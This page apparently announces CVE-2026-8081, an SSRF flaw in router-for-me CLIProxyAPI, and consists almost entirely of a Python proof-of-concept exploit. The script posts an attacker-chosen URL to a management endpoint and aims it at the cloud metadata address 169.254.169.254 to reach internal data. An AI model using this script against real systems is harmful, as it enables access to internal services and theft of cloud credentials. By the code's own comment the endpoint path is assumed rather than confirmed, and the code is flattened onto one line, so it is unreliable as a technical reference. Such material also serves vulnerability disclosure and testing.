CVE-2026-8081：router-for-me CLIProxyAPI SSRF漏洞

import requests def check_ssrf(target_url, malicious_url): """ Proof of Concept for CVE-2026-8081 Tests if the target_url is vulnerable to SSRF via the 'url' parameter. """ # Assuming the endpoint structure based on the file path mentioned endpoint = f"{target_url}/internal/api/handlers/management/api_tools" # Payload to test SSRF (e.g., accessing localhost or a specific internal port) payload = { "url": malicious_url } try: print(f"[*] Sending request to {endpoint} with payload: {payload}") response = requests.post(endpoint, data=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for indications of SSRF.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8080" # Example malicious URL (e.g., interacting with an internal service) # In a real scenario, use a controlled external server to verify the callback ssrf_payload = "http://169.254.169.254/latest/meta-data/" check_ssrf(target, ssrf_payload)